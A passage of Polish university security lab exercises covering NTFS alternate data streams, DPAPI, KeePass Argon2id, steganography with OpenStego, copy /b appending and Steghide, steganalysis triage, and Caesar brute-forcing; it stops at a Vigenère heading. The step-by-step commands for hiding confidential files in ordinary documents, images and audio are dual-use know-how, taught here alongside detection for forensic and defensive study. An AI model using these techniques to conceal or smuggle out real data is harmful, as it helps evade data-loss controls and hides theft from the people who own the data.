Podczas analizy incydentu bezpieczeństwa na stacji roboczej pracownika pojawia się podejrzenie, że złośliwe oprogramowanie lub nielojalny użytkownik ukrywa wykradzione dane w systemie plików w taki sposób, aby podstawowe polecenia systemowe oraz Eksplorator plików nie wskazywały żadnej zmiany rozmiaru pliku. W systemie plików NTFS każdy obiekt plikowy może zawierać oprócz domyślnego strumienia danych (::$DATA) dowolną liczbę dodatkowych nazwanych strumieni. Twoim zadaniem jest odtworzyć ten mechanizm: utworzyć pozornie pusty plik tekstowy, zapisać do jego alternatywnego strumienia poufny dokument, zweryfikować zachowanie Eksploratora plików i Notatnika, a następnie przeprowadzić analizę śledczą za pomocą konsoli PowerShell i polecenia 'dir /r' w celu wykrycia i odczytania ukrytego strumienia.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz konsolę PowerShell w dowolnym katalogu użytkownika na partycji sformatowanej w systemie NTFS (np. w folderze Dokumenty). Najpierw zweryfikuj system plików poleceniem (Get-Volume -DriveLetter C).FileSystem - wynik musi brzmieć NTFS. Uwaga: na pendrive z FAT32/exFAT, udziałach sieciowych i w OneDrive strumienie ADS nie działają - pracuj na lokalnym dysku NTFS.
2. Utwórz plik tekstowy stanowiący nośnik bazowy:

   New-Item -Path "raport_publiczny.txt" -ItemType File -Force

3. Sprawdź rozmiar utworzonego pliku za pomocą systemowego polecenia:

   Get-Item raport_publiczny.txt | Select-Object Name, Length

   Zauważ, że rozmiar pliku wynosi dokładnie 0 bajtów.
4. Zapisz tajną informację do nazwanego strumienia alternatywnego o nazwie audyt:

   Set-Content -Path "raport_publiczny.txt" -Value "POUFNE DANE AUDYTU FINANSOWEGO: WYKRYTO NIEPRAWIDLOWOSCI 2026" -Stream "audyt"

5. Ponownie sprawdź rozmiar pliku raport_publiczny.txt w standardowym widoku PowerShell:

   Get-Item raport_publiczny.txt | Select-Object Name, Length

   Zwróć uwagę, że system nadal raportuje rozmiar równy 0 bajtów.
6. Otwórz plik w Notatniku za pomocą polecenia notepad.exe raport_publiczny.txt. Zauważ, że edytor otwiera plik jako pusty dokument, nie zdradzając obecności ukrytych danych.
7. Odczytaj zawartość alternatywnego strumienia danych za pomocą dedykowanego parametru polecenia Get-Content:

   Get-Content -Path "raport_publiczny.txt" -Stream "audyt"

8. Wykryj wszystkie strumienie powiązane z plikiem za pomocą polecenia PowerShell:

   Get-Item -Path "raport_publiczny.txt" -Stream *

   Zauważ, że na liście widnieją dwa strumienie: strumień nienazwany :$DATA (0 bajtów) oraz strumień :audyt:$DATA o rozmiarze odpowiadającym wprowadzonemu tekstowi.
9. Zweryfikuj obecność strumieni za pomocą tradycyjnego polecenia powłoki Windows CMD:

   cmd.exe /c "dir /r raport_publiczny.txt"

10. Usuń alternatywny strumień danych po zakończeniu badania:

    Remove-Item -Path "raport_publiczny.txt" -Stream "audyt"

11. Wykonaj zrzut ekranu prezentujący zapis do strumienia, raportowany rozmiar 0 bajtów oraz wykrycie strumienia poleceniem Get-Item -Stream * lub dir /r.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Alternatywne strumienie danych (ADS) to wbudowana funkcja systemu plików NTFS, która może być wykorzystywana jako kanał steganograficzny do ukrywania danych przed standardowymi narzędziami użytkownika.
• Standardowy Eksplorator Windows oraz polecenie Get-ChildItem bez parametru -Stream nie uwzględniają rozmiaru alternatywnych strumieni w podstawowym atrybucie rozmiaru pliku.
• Osiągnięcie: utworzenie ukrytego strumienia NTFS ADS, wykazanie kamuflażu rozmiaru pliku oraz skuteczna detekcja steganografii systemowej w PowerShell.

Cel

Celem zadania jest praktyczne zbadanie mechanizmu ochrony poświadczeń i tajemnic w systemie Windows za pośrednictwem interfejsu DPAPI (Data Protection API). Student uczy się bezpiecznie szyfrować tokeny dostępowe bez zapisywania jawnego hasła w kodzie skryptu, zapisywać szyfrogram na dysku oraz badać właściwości izolacji kryptograficznej kont użytkowników.

Scenariusz

Tworzysz skrypt automatyzacji w konsoli PowerShell, który musi komunikować się z bazą danych lub zewnętrznym API za pomocą poufnego tokena autoryzacyjnego. Zapisanie tokena otwartym tekstem w skrypcie (tzw. hardcoded secret) to poważny błąd bezpieczeństwa wykrywany przez każdy audyt. Z kolei zmuszanie użytkownika do wpisywania hasła przy każdym uruchomieniu uniemożliwia automatyzację zadań w tle. Standardem w systemach Windows jest użycie podsystemu DPAPI, który szyfruje dane kluczem symetrycznym wywodzonym automatycznie z poświadczeń logowania konta użytkownika. Twoim zadaniem jest zabezpieczyć token za pomocą polecenia ConvertTo-SecureString i zapisać wynikowy szyfrogram do pliku, a następnie udowodnić, że deszyfracja przebiega pomyślnie w sesji właściciela, lecz jest zablokowana dla jakiegokolwiek innego użytkownika.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom konsolę PowerShell bez uprawnień administratora.
2. Zdefiniuj poufny token dostępowy w pamięci jako obiekt typu SecureString:

   $tokenJawny = "PROD_API_KEY_2026_x89FqLa09Zb"
   $secureToken = $tokenJawny | ConvertTo-SecureString -AsPlainText -Force

3. Wyeksportuj zabezpieczony obiekt do postaci zaszyfrowanego ciągu tekstowego za pomocą domyślnego mechanizmu DPAPI (zakres CurrentUser):

   $zaszyfrowanyCiag = ConvertFrom-SecureString -SecureString $secureToken

4. Przeanalizuj postać wygenerowanego szyfrogramu:

   $zaszyfrowanyCiag.Substring(0, 60) + "..."
   $zaszyfrowanyCiag.Length

   Zauważ, że ciąg ma długość rzędu kilkuset znaków szesnastkowych (typowo 300-500 dla krótkiego sekretu, zaczyna się od 01000000...) i zawiera nagłówek DPAPI, wektor IV oraz zaszyfrowaną treść. Nie wymagał podania żadnego hasła, ponieważ klucz został wygenerowany przez system operacyjny. Pamiętaj: ten szyfrogram odszyfruje wyłącznie to samo konto użytkownika na tym samym komputerze.
5. Zapisz zaszyfrowany token do pliku na dysku:

   $zaszyfrowanyCiag | Out-File -FilePath "token_produkcyjny.dpapi"

6. Wyczyść zmienne z pamięci podręcznej bieżącej sesji PowerShell:

   Remove-Variable tokenJawny, secureToken, zaszyfrowanyCiag

7. Odczytaj zaszyfrowany plik z dysku i przekształć go z powrotem w obiekt SecureString:

   $wczytanySzyfrogram = Get-Content -Path "token_produkcyjny.dpapi"
   $odzyskanySecure = $wczytanySzyfrogram | ConvertTo-SecureString

8. Odczytaj jawną wartość tokena z obiektu SecureString z wykorzystaniem systemowego mechanizmu marshalingu pamięci:

   $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($odzyskanySecure)
   $jawnyToken = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)
   [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr)
   Write-Host "Odzyskana wartosc sekretu: $jawnyToken"

9. Wyjaśnij, dlaczego deszyfracja zakończyła się sukcesem bez podawania hasła: system Windows użył klucza głównego (Master Key) bieżącego profilu użytkownika.
10. Wyjaśnij, co stanie się, jeśli plik token_produkcyjny.dpapi zostanie skopiowany na konto innego użytkownika lub inny komputer (brak dostępu do klucza głównego wywoła błąd CryptographicException).
11. Wykonaj zrzut ekranu prezentujący etapy szyfrowania, zapis do pliku oraz odzyskanie wartości tokena.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Interfejs DPAPI rozwiązuje problem przechowywania kluczy kryptograficznych na stacji roboczej, wiążąc operacje szyfrowania z tożsamością zalogowanego użytkownika (zakres CurrentUser) lub maszyny (LocalMachine).
• Przechowywanie poświadczeń za pośrednictwem DPAPI eliminuje podatność ujawniania haseł w plikach skryptowych i konfiguracyjnych w tekście jawnym.
• Osiągnięcie: praktyczna implementacja bezpiecznego przechowywania sekretu w systemie Windows z użyciem interfejsu DPAPI i obiektów SecureString w PowerShell.

Cel

Celem zadania jest praktyczne zbadanie mechanizmów ochrony bazy danych haseł w formacie KDBX v4. Student bada rolę pamięciożernej funkcji wyprowadzania klucza Argon2id (Memory-hard KDF) w spowalnianiu ataków siłowych oraz kalibruje parametry derywacji w programie KeePass Portable.

Scenariusz

W Twojej organizacji pracownicy zapisują hasła dostępowe do dziesiątek portali i serwerów w plikach tekstowych lub arkuszach kalkulacyjnych, często używając tego samego słabego hasła w wielu miejscach. Jako specjalista ds. bezpieczeństwa rekomendujesz wdrożenie lokalnego sejfu haseł opartego na programie KeePass z formatem KDBX v4. Zespół pyta, dlaczego baza KeePass jest bezpieczniejsza od zwykłego archiwum z hasłem i czy nie można jej szybko złamać za pomocą karty graficznej. Twoim zadaniem jest pobrać KeePass Portable, stworzyć nową bazę zabezpieczoną hasłem głównym, skonfigurować funkcję derywacji klucza Argon2id, przeprowadzić test 1-sekundowego opóźnienia obliczeniowego, obliczyć przestrzeń kluczy i wykazać, jak połączenie silnego szyfru blokowego (AES-256) z pamięciożerną funkcją KDF czyni atak brute-force obliczeniowo niewykonalnym.

Pomocnik - jak wykonać zadanie krok po kroku

1. Pobierz archiwum KeePass Portable (plik .zip ze strony keepass.info lub katalogu pracowni) i rozpakuj je do folderu roboczego. Uruchom plik KeePass.exe (program działa bez instalacji i bez uprawnień administratora).
2. Wybierz z menu górnego File -> New, wybierz lokalizację i nazwę pliku bazy: sejf_testowy.kdbx.
3. W oknie tworzenia klucza głównego (Master Key) wprowadź hasło testowe: BezpiecznySejf#2026! (zwróć uwagę na wskaźnik szacowanej jakości hasła).
4. W oknie ustawień bazy danych (Database Settings) przejdź do zakładki Security.
5. Zwróć uwagę na wybrany algorytm szyfrowania danych (domyślnie AES-256 w trybie CBC lub ChaCha20).
6. W sekcji Key derivation function zmień domyślną funkcję z AES-KDF na Argon2id.
7. Skonfiguruj parametry funkcji Argon2id: ustaw pamięć (Memory) na 64 MB, liczbę wątków (Threads) na 2, a następnie kliknij przycisk Test / 1 Second Delay. Zauważ, jak program automatycznie dobiera liczbę iteracji tak, aby proces derywacji trwał dokładnie 1 sekundę na Twoim procesorze.
8. Utwórz nowy wpis w bazie (Add Entry): w oknie edycji wpisu kliknij ikonę generatora haseł i wygeneruj hasło o długości 16 znaków zawierające małe i wielkie litery, cyfry oraz symbole. Odczytaj obliczoną entropię hasła (wartość powyżej 90 bitów).
9. Zapisz bazę danych skrótem Ctrl+S i zamknij program KeePass.
10. Otwórz konsolę PowerShell i podejrzyj strukturę pliku bazy w postaci szesnastkowej:

    Format-Hex -Path "sejf_testowy.kdbx" | Select-Object -First 10

    Zwróć uwagę na pierwsze bajty: sygnaturę formatu KDBX (03 d9 a2 9a 67 fb 4b b5) oraz brak jakichkolwiek czytelnych nazw kont, domen czy adresów URL (nagłówek i metadane są zaszyfrowane).
11. Uruchom ponownie program KeePass i otwórz plik sejf_testowy.kdbx. Zaobserwuj wyraźne, około 1-sekundowe opóźnienie podczas wpisywania poprawnego hasła.
12. Wyjaśnij, dlaczego opóźnienie 1 sekundy jest niezauważalne dla człowieka logującego się raz dziennie, a jednocześnie ogranicza potencjalnego intruza do zaledwie 1 próby na sekundę na rdzeń, czyniąc atak słownikowy i siłowy całkowicie bezskutecznym.
13. Wykonaj zrzut ekranu prezentujący konfigurację funkcji Argon2id w oknie KeePass oraz podgląd nagłówka bazy w konsoli PowerShell.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Szybkie funkcje skrótu (takie jak MD5, SHA-1 czy pojedynczy SHA-256) nie nadają się do bezpiecznego przechowywania haseł, ponieważ karty graficzne potrafią testować miliardy takich skrótów na sekundę.
• Nowoczesne funkcje derywacji klucza (np. Argon2id) celowo narzucają wysoki koszt czasowy i pamięciowy (Memory-hard), uniemożliwiając równoległe ataki słownikowe.
• Osiągnięcie: skonfigurowanie sejfu kryptograficznego w formacie KDBX4 z funkcją derywacji Argon2id oraz zbadanie wpływu opóźnienia KDF na bezpieczeństwo haseł.

Cel

Celem zadania jest praktyczne ukrycie pliku tekstowego wewnątrz obrazu metodą LSB (Least Significant Bit) w darmowym programie OpenStego w wersji portable (bez instalacji, bez praw administratora). Student bada pojemność nośnika, rolę hasła i szyfrowania oraz niewidoczność zmiany dla oka.

Scenariusz

Pracujesz w dziale bezpieczeństwa firmy. Podejrzewasz, że poufna notatka może opuścić firmę jako niewinny obrazek PNG wysłany mailem. Masz udowodnić zarządowi, że obrazek może nieść ukrytą treść bez żadnych widocznych śladów. Twoim zadaniem jest użyć programu z katalogu pracowni lub ze strony github.com/syvaidya/openstego/releases (plik openstego-0.8.6.zip, uruchamiany skryptem openstego.bat, wymaga jedynie Javy), ukryć plik tajne.txt w pliku okladka.png z hasłem, a potem odzyskać go na czystym nośniku i pokazać różnicę względem metody EOF.

Pomocnik - jak wykonać zadanie krok po kroku

1. Rozpakuj openstego-0.8.6.zip do własnego folderu roboczego (np. Dokumenty\stego). Nie uruchamiaj instalatora Setup-OpenStego-*.exe - do zajęć wystarczy wersja ZIP portable. Program wymaga środowiska Java: zweryfikuj je poleceniem java -version (w razie braku poproś prowadzącego o przenośne JRE). Uruchom openstego.bat (kliknij dwukrotnie lub z PowerShell: .\openstego.bat). Sprawdź, czy otwiera się okno OpenStego z zakładkami Embed / Extract.
2. Przygotuj nośnik: użyj dowolnego pliku PNG lub BMP (np. zrzut ekranu zapisany jako PNG, min. kilkaset KB). Zapisz go jako okladka.png w folderze roboczym. Zanotuj jego rozmiar:

   Get-Item okladka.png | Select-Object Name, Length

   Uwaga: nie używaj małego JPG z internetu jako nośnika OpenStego - program zapisze wynik jako PNG, a JPG wejściowy i tak zostanie przekonwertowany.
3. Utwórz ukrywany plik:

   Set-Content -Path "tajne.txt" -Value "POUFNA_NOTATKA_PROJEKT_JAWA_2026: spotkanie 12.10 godz. 10:00"

4. W oknie OpenStego wybierz Data Hiding -> Embed: w polu Cover File wskaż okladka.png, w polu Message File wskaż tajne.txt, w polu Output Stego File wpisz stego_obraz.png, wpisz hasło np. StegoLab2026!, zaznacz Encrypt + Compress (AES-128). Kliknij Embed i odczytaj komunikat o powodzeniu.
5. Porównaj pliki:

   Get-Item okladka.png, stego_obraz.png | Select-Object Name, Length
   Get-FileHash okladka.png, stego_obraz.png -Algorithm SHA256 | Format-Table

   Otwórz oba obrazy w przeglądarce zdjęć Windows obok siebie - zanotuj brak różnic wizualnych mimo różnych sum SHA-256.
6. Przetestuj ekstrakcję: w zakładce Extract wskaż stego_obraz.png, wpisz hasło, wskaż folder wyjściowy i kliknij Extract. Odczytaj odzyskany plik Get-Content tajne*.txt. Powtórz ekstrakcję ze złym hasłem i zanotuj komunikat błędu.
7. Wykonaj zrzuty ekranu: okno Embed z parametrami, porównanie rozmiarów/sum oraz wynik Extract.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Metoda LSB rozprasza bity wiadomości w najmniej znaczących bitach pikseli, więc obraz wygląda identycznie, ale jego suma kontrolna i statystyka bitów zmieniają się w całości - w przeciwieństwie do EOF, gdzie zmienia się tylko ogon pliku.
• Hasło w OpenStego nie tylko steruje rozmieszczeniem bitów, lecz także szyfruje ładunek (AES), więc bez hasła ekstrakcja jest niemożliwa.
• Osiągnięcie: ukrycie i odzyskanie pliku TXT w obrazie PNG programem portable z interfejsem graficznym, bez instalacji.

Cel

Celem zadania jest praktyczne sprawdzenie, co dzieje się z plikiem dźwiękowym po doklejeniu danych za jego koniec. Student dokleja plik tekstowy do pliku WAV i MP3 poleceniem copy /b, bada odtwarzalność w Audacity Portable (wersja z PortableApps.com, bez instalacji) oraz wykrywa doklejkę heksadecymalnie.

Scenariusz

Zespół reagowania podejrzewa, że pracownik wynosi dane w plikach muzycznych: utwory grają normalnie, ale są nieco większe niż oryginały. Twoim zadaniem jest odtworzyć ten kanał w laboratorium: wziąć krótką próbkę WAV (np. nagraną w Audacity: Generate -> Tone, 3 s) i plik MP3, dokleić do każdego ten sam tekst, sprawdzić, czy oba nadal grają, zmierzyć czas trwania i wykryć ukrytą treść narzędziami analityka.

Pomocnik - jak wykonać zadanie krok po kroku

1. Pobierz Audacity Portable (ZIP z PortableApps.com) i HxD Portable (plik ZIP ze strony mh-nexus.de, program HxD.exe bez instalacji) do folderu roboczego. Rozpakuj oba do podfolderów. Alternatywnie poproś prowadzącego o gotowy folder z programami.
2. Przygotuj nośniki: uruchom AudacityPortable.exe, wybierz Generate -> Tone (440 Hz, 3 s), wyeksportuj jako czysty.wav (File -> Export -> WAV) oraz jako czysty.mp3. Zamknij program. Zanotuj rozmiary:

   Get-Item czysty.wav, czysty.mp3 | Select-Object Name, Length

3. Utwórz ładunek:

   Set-Content -Path "ukryty.txt" -Value "TUTAJ_UKRYTE_HASLO_AUDIO_2026: Abc12345"

4. Doklej ładunek na koniec obu plików (tryb binarny /b jest obowiązkowy):

   cmd /c "copy /b czysty.wav + ukryty.txt stego_audio.wav"
   cmd /c "copy /b czysty.mp3 + ukryty.txt stego_audio.mp3"
   Get-Item stego_audio.wav, stego_audio.mp3 | Select-Object Name, Length

   Policz przyrost: musi równać się dokładnie rozmiarowi ukryty.txt.
5. Test odtwarzania: otwórz stego_audio.wav i stego_audio.mp3 w Audacity Portable oraz w Groove/Media Player. Zanotuj: czy dźwięk gra bez trzasków, czy czas trwania (3 s) się zmienił, czy pasek widma/spektrogram pokazuje różnicę. Dla WAV dźwięk musi grać identycznie (dekoder RIFF kończy na polu rozmiaru i ignoruje ogon); dla MP3 wynik zależy od odtwarzacza - potraktuj go jako kontrast: niektóre odtwarzacze zignorują ogon, inne zgłoszą ostrzeżenie o dodatkowych danych lub rozjadą pasek czasu.
6. Detekcja analityka: otwórz oba pliki stego w HxD Portable, przeskocz na koniec pliku (Ctrl+End) i odczytaj jawny tekst. W PowerShell potwierdź:

   Select-String -Path "stego_audio.wav","stego_audio.mp3" -Pattern "TUTAJ_UKRYTE" -SimpleMatch

   Jeżeli Select-String nic nie znajdzie (pliki binarne z bajtami NUL bywają pomijane), użyj zamiennika odczytującego surowe bajty:

   [System.Text.Encoding]::ASCII.GetString([System.IO.File]::ReadAllBytes("stego_audio.wav")) | Select-String -Pattern "TUTAJ_UKRYTE" -SimpleMatch

   Porównanie binarne plików wykonaj sumami kontrolnymi (a nie Compare-Object na strumieniach bajtów):

   Get-FileHash czysty.wav, stego_audio.wav -Algorithm SHA256 | Format-Table

7. Wykonaj zrzuty ekranu: polecenie copy /b z rozmiarami, odtwarzanie w Audacity ze spektrogramem oraz widok ogona pliku w HxD.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Doklejenie za koniec pliku WAV nie narusza nagłówka RIFF ani ramek audio, więc odtwarzacz kończy dekodowanie na zadeklarowanym rozmiarze i ignoruje ogon - dźwięk gra, a czas trwania się nie zmienia. Dla MP3 (format strumieniowy bez globalnego rozmiaru) zachowanie zależy od odtwarzacza.
• Metoda jest trywialnie wykrywalna: zdradza ją przyrost rozmiaru równy co do bajta rozmiarowi ładunku oraz jawny tekst widoczny w edytorze hex i poleceniem Select-String.
• Osiągnięcie: eksperymentalne potwierdzenie odtwarzalności plików WAV/MP3 z doklejką oraz ich detekcja narzędziami portable.

Cel

Celem zadania jest ukrycie tego samego pliku sekret.txt w dwóch różnych nośnikach - obrazie JPEG i dźwięku WAV - za pomocą jednego darmowego programu portable Steghide 0.5.1 win32 (plik ZIP ze SourceForge, rozpakowanie i steghide.exe w PowerShell, bez instalacji). Student kontroluje odtwarzalność obu plików stego i odzyskuje ładunek.

Scenariusz

Audytor ma sprawdzić, czy firma wykryje wyciek, w którym ten sam sekret raz wyjdzie w zdjęciu, a raz w nagraniu. Atakujący nie dokleja nic na koniec (to byłoby widać), lecz wplata szyfrogram w szum obrazu i dźwięku pod osłoną hasła. Twoim zadaniem jest wykonać obie operacje programem Steghide, udowodnić, że JPG wyświetla się, a WAV gra normalnie, oraz pokazać, że bez hasła nie da się nic odzyskać.

Pomocnik - jak wykonać zadanie krok po kroku

1. Rozpakuj steghide-0.5.1-win32.zip do folderu roboczego. W tym folderze otwórz PowerShell i sprawdź:

   .\steghide.exe --version

2. Przygotuj nośniki: obraz nosnik.jpg (dowolne prawdziwe zdjęcie JPEG min. 100 KB, np. pobrane: Invoke-WebRequest -Uri "https://upload.wikimedia.org/wikipedia/commons/thumb/3/3f/Fronalpstock_big.jpg/640px-Fronalpstock_big.jpg" -OutFile "nosnik.jpg") oraz dźwięk nosnik.wav (wyeksportowany z Audacity Portable z zadania 38 jako WAV Microsoft PCM 16-bit, nie MP3). Sprawdź pojemność:

   .\steghide.exe info nosnik.jpg
   .\steghide.exe info nosnik.wav

   Na pytanie o hasło odpowiedz n - odczytaj tylko wiersz capacity. Kontrola obowiązkowa: info musi wykazać format: jpeg oraz format: wave - Steghide nie obsługuje PNG ani MP3.
3. Utwórz jeden wspólny sekret:

   Set-Content -Path "sekret.txt" -Value "SEKRET_FIRMY_2026: klucz sesyjny K-77-XYZ"

4. Osadź sekret w obu nośnikach tym samym hasłem (najpierw zrób kopie robocze, bo Steghide nadpisuje nośnik w miejscu):

   Copy-Item nosnik.jpg roboczy_obraz.jpg -Force
   Copy-Item nosnik.wav roboczy_dzwiek.wav -Force
   .\steghide.exe embed -cf roboczy_obraz.jpg -ef sekret.txt -p "WspolneHaslo2026!" -f -q
   .\steghide.exe embed -cf roboczy_dzwiek.wav -ef sekret.txt -p "WspolneHaslo2026!" -f -q
   Copy-Item roboczy_obraz.jpg stego_obraz.jpg -Force
   Copy-Item roboczy_dzwiek.wav stego_dzwiek.wav -Force
   Get-Item nosnik.jpg, stego_obraz.jpg, nosnik.wav, stego_dzwiek.wav | Select-Object Name, Length

   Porównaj rozmiary: pliki stego różnią się od oryginałów minimalnie (ładunek wplatany jest w dane, nie doklejany).
5. Kontrola zachowania: otwórz stego_obraz.jpg w przeglądarce zdjęć (porównaj wzrokowo z oryginałem), a stego_dzwiek.wav odtwórz w Audacity Portable/Groove (porównaj czas trwania i odsłuch). Zanotuj brak artefaktów. Sprawdź, czy Select-String -Pattern "SEKRET" stego_obraz.jpg nic nie znajduje (ładunek jest szyfrogramem, nie jawnym tekstem jak w EOF).
6. Ekstrakcja i test hasła:

   Remove-Item sekret.txt
   .\steghide.exe extract -sf stego_obraz.jpg -p "WspolneHaslo2026!" -xf odzysk_jpg.txt -f -q; Get-Content odzysk_jpg.txt
   .\steghide.exe extract -sf stego_dzwiek.wav -p "WspolneHaslo2026!" -xf odzysk_wav.txt -f -q; Get-Content odzysk_wav.txt
   .\steghide.exe extract -sf stego_obraz.jpg -p "ZleHaslo" -xf zle.txt -f

   Ostatnie polecenie musi zakończyć się błędem ekstrakcji.
7. Wykonaj zrzuty ekranu: info z pojemnością, embed dla JPG i WAV, odtwarzanie oraz extract z dobrym i złym hasłem.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Steghide nie dokleja danych, lecz wplata szyfrogram w współczynniki DCT obrazu i najmniej znaczące bity próbek WAV, dlatego rozmiar pliku prawie się nie zmienia, a obraz i dźwięk pozostają odtwarzalne.
• Ten sam sekret zachowuje się tak samo w JPG i WAV: bez hasła plik stego jest nie do odróżnienia od zwykłego, a próba ekstrakcji złym hasłem kończy się błędem dzięki szyfrowaniu Rijndael-128.
• Osiągnięcie: podwójne osadzenie i odzyskanie ładunku w dwóch mediach jednym narzędziem portable z kontrolą odtwarzalności.

Cel

Celem zadania jest porównanie wszystkich wcześniej wytworzonych nośników (EOF z zadania 2 i 38 oraz LSB/DCT z zadań 37 i 39) i sformułowanie wniosków o bezpieczeństwie steganografii. Student bada wykrywalność, odporność na konwersję i rolę szyfrowania, używając wyłącznie narzędzi portable z poprzednich zadań.

Scenariusz

Jesteś analitykiem, który dostał od prowadzącego teczkę czterech plików: dwa z doklejką EOF (obraz i dźwięk) oraz dwa z prawdziwą steganografią (PNG z OpenStego, JPG/WAV ze Steghide). Nie wiesz, który jest który. Twoim zadaniem jest ułożyć procedurę triage analityka: rozmiar, strings/hex, odtwarzalność, konwersja formatu, i na tej podstawie napisać wnioski, które trafią do polityki bezpieczeństwa firmy.

Pomocnik - jak wykonać zadanie krok po kroku

1. Zbierz pliki z zadań 37-39 do jednego folderu triage: stego_obraz.png (OpenStego), stego_audio.wav (EOF), stego_obraz.jpg i stego_dzwiek.wav (Steghide) oraz ich czyste oryginały. Zanotuj rozmiary:

   Get-ChildItem | Select-Object Name, Length

2. Test 1 - rozmiar: wskaż, które pliki urosły dokładnie o rozmiar ładunku (EOF), a które prawie wcale (LSB/DCT). Zapisz różnicę w bajtach w tabeli.
3. Test 2 - jawność ładunku:

   Select-String -Path "stego*" -Pattern "POUFNA|TUTAJ|SEKRET" -SimpleMatch
   .\steghide.exe info stego_obraz.jpg -p "WspolneHaslo2026!"

   Zanotuj: pliki EOF zdradzają tekst jawnie, pliki Steghide/OpenStego - wcale (szyfrogram).
4. Test 3 - hex i spektrogram: otwórz każdy plik w HxD Portable (skok na koniec, szukanie tekstu) oraz plik WAV w Audacity Portable (widok Waveform + Spectrogram). Zanotuj brak anomalii dźwiękowych w obu metodach.
5. Test 4 - odporność na konwersję (niszczenie ładunku):

   # symulacja: otwórz stego PNG/JPG w Paint i zapisz jako nowy JPG, a WAV wyeksportuj z Audacity jako nowy MP3, potem sprobuj ekstrahowac
   .\steghide.exe extract -sf stego_obraz_po_konwersji.jpg -p "WspolneHaslo2026!"

   Zanotuj: ładunek LSB/DCT ginie po rekompresji, ładunek EOF w WAV przeżywa kopiowanie, ale ginie po konwersji WAV->MP3.
6. Sformułuj 5 wniosków do sprawozdania: (1) steganografia ukrywa fakt, nie treść - bez szyfrowania zdradza wszystko; (2) EOF = prosta, wykrywalna, odtwarzalna; (3) LSB/DCT = niewidoczna, pojemna, wymaga hasła; (4) żaden nośnik stego nie chroni przed konwersją formatu; (5) obrona = kontrola rozmiarów + strings/hex + DLP + polityka szyfruj-przed-ukryciem.
7. Wykonaj zrzut ekranu z tabelą porównawczą 4 plików (metoda, przyrost rozmiaru, widoczność strings, odtwarzalność, wynik po konwersji).

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Steganografia nie jest szyfrowaniem: sama zmienia tylko miejsce danych, a poufność daje dopiero hasło i AES (OpenStego, Steghide). Doklejka EOF bez hasła to jawny tekst dla każdego z edytorem hex.
• Analityk wykrywa EOF w sekundę (rozmiar + strings), a LSB/DCT tylko statystyką lub posiadaniem oryginału - dlatego DLP musi łączyć obie techniki.
• Osiągnięcie: procedura steganalizy porównawczej na 4 nośnikach portable z tabelą dowodową i 5 wnioskami do polityki bezpieczeństwa.

Cel

Celem zadania jest praktyczne złamanie szyfru Cezara wyłącznie metodą siłową, bez znajomości klucza. Student sprawdza wszystkie 26 przesunięć i wskazuje jedyne odszyfrowanie dające sensowny tekst polski.

Scenariusz

Otrzymujesz przechwyconą notatkę historyczną zaszyfrowaną szyfrem Cezara o nieznanym przesunięciu. Nie znasz klucza, znasz tylko język wiadomości (polski, bez znaków diakrytycznych). Twoim zadaniem jest sprawdzić maszynowo wszystkie możliwości i udowodnić, że przy przestrzeni 26 kluczy tajność jest pozorna. Szyfrogram do analizy: ILGWPLJGLUZADV PUMVYTHJQP DFTHNH JPHNSLQ JGBQUVZJP.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz narzędzie CyberChef (gchq.github.io/CyberChef).
2. Wklej szyfrogram do pola Input: ILGWPLJGLUZADV PUMVYTHJQP DFTHNH JPHNSLQ JGBQUVZJP.
3. Przeciągnij do Recipe operację ROT13 (tak w CyberChef nazywa się szyfr Cezara) albo ROT13 Brute Force (od razu próbuje wszystkie przesunięcia). Ręcznie zmieniaj parametr Amount od 0 do 25.
4. Przejrzyj 26 kandydatów i wskaż jedyny czytelny tekst polski: BEZPIECZENSTWO INFORMACJI WYMAGA CIAGLEJ CZUJNOSCI. Zanotuj, dla którego przesunięcia odszyfrowującego się pojawił (wartość 19, bo przesunięcie szyfrujące wynosiło k = 7).
5. Powtórz łamanie w serwisie dCode (dcode.fr/caesar-cipher) w trybie automatycznego rozpoznawania i porównaj wynik z CyberChef.
6. Policz czas: zmierz stoperem, ile sekund zajęło sprawdzenie wszystkich kluczy, i zapisz wniosek o koszcie ataku (26 prób).
7. Wykonaj zrzut ekranu z listą kandydatów i zaznaczonym poprawnym odszyfrowaniem.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Przestrzeń 25 niezerowych kluczy jest przeszukiwana w kilka sekund, więc szyfr Cezara nie zapewnia żadnej poufności wobec przeciwnika znającego metodę.
• O sile szyfru nie decyduje tajność algorytmu (tu: przesunięcia liter), lecz rozmiar przestrzeni kluczy i odporność na kryptoanalizę - zapowiedź zasady Kerckhoffsa.
• Osiągnięcie: samodzielne złamanie szyfrogramu atakiem ze znajomością wyłącznie szyfrogramu i udokumentowanie kosztu 26 prób.

Cel

Celem zadania jest praktyczne złamanie szyfru Vigenère’a w dwóch krokach: najpierw wyznaczenie długości klucza, potem redukcja do kilku szyfrów Cezara. Student stosuje rozumowanie Kasiskiego na prawdziwym szyfrogramie.

Scenariusz

